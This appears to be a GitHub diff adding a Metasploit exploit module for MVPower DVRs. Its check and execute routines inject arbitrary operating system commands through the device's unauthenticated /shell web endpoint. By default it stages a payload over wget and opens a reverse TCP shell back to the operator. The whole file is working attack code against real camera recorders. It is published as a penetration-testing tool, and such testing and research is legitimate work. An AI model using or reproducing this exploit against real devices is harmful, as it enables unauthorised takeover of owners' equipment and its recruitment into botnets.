|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + include Msf::Exploit::CmdStager |
| 11 | + |
| 12 | + HttpFingerprint = { :pattern => [ /JAWS\/1\.0/ ] } |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'MVPower DVR Shell Unauthenticated Command Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an unauthenticated remote command execution |
| 19 | + vulnerability in MVPower digital video recorders. The 'shell' file |
| 20 | + on the web interface executes arbitrary operating system commands in |
| 21 | + the query string. |
| 22 | +
|
| 23 | + This module was tested successfully on a MVPower model TV-7104HE with |
| 24 | + firmware version 1.8.4 115215B9 (Build 2014/11/17). |
| 25 | +
|
| 26 | + The TV-7108HE model is also reportedly affected, but untested. |
| 27 | + }, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'Paul Davies (UHF-Satcom)', # Initial vulnerability discovery and PoC |
| 31 | + 'Andrew Tierney (Pen Test Partners)', # Independent vulnerability discovery and PoC |
| 32 | + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit |
| 33 | + ], |
| 34 | + 'License' => MSF_LICENSE, |
| 35 | + 'Platform' => 'linux', |
| 36 | + 'References' => |
| 37 | + [ |
| 38 | + # Comment from Paul Davies contains probably the first published PoC |
| 39 | + [ 'URL', 'https://labby.co.uk/cheap-dvr-teardown-and-pinout-mvpower-hi3520d_v1-95p/' ], |
| 40 | + # Writeup with PoC by Andrew Tierney from Pen Test Partners |
| 41 | + [ 'URL', 'https://www.pentestpartners.com/blog/pwning-cctv-cameras/' ] |
| 42 | + ], |
| 43 | + 'DisclosureDate' => 'Aug 23 2015', |
| 44 | + 'Privileged' => true, # BusyBox |
| 45 | + 'Arch' => ARCH_ARMLE, |
| 46 | + 'DefaultOptions' => |
| 47 | + { |
| 48 | + 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp', |
| 49 | + 'CMDSTAGER::FLAVOR' => 'wget' |
| 50 | + }, |
| 51 | + 'Targets' => |
| 52 | + [ |
| 53 | + ['Automatic', {}] |
| 54 | + ], |
| 55 | + 'CmdStagerFlavor' => %w{ echo printf wget }, |
| 56 | + 'DefaultTarget' => 0)) |
| 57 | + end |
| 58 | + |
| 59 | + def check |
| 60 | + begin |
| 61 | + fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6) |
| 62 | + res = send_request_cgi( |
| 63 | + 'uri' => "/shell?echo+#{fingerprint}", |
| 64 | + 'headers' => { 'Connection' => 'Keep-Alive' } |
| 65 | + ) |
| 66 | + if res && res.body.include?(fingerprint) |
| 67 | + return CheckCode::Vulnerable |
| 68 | + end |
| 69 | + rescue ::Rex::ConnectionError |
| 70 | + return CheckCode::Unknown |
| 71 | + end |
| 72 | + CheckCode::Safe |
| 73 | + end |
| 74 | + |
| 75 | + def execute_command(cmd, opts) |
| 76 | + begin |
| 77 | + send_request_cgi( |
| 78 | + 'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}", |
| 79 | + 'headers' => { 'Connection' => 'Keep-Alive' } |
| 80 | + ) |
| 81 | + rescue ::Rex::ConnectionError |
| 82 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 83 | + end |
| 84 | + end |
| 85 | + |
| 86 | + def exploit |
| 87 | + print_status("#{peer} - Connecting to target") |
| 88 | + |
| 89 | + unless check == CheckCode::Vulnerable |
| 90 | + fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable") |
| 91 | + end |
| 92 | + |
| 93 | + print_good("#{peer} - Target is vulnerable!") |
| 94 | + |
| 95 | + execute_cmdstager(linemax: 1500) |
| 96 | + end |
| 97 | +end |
0 commit comments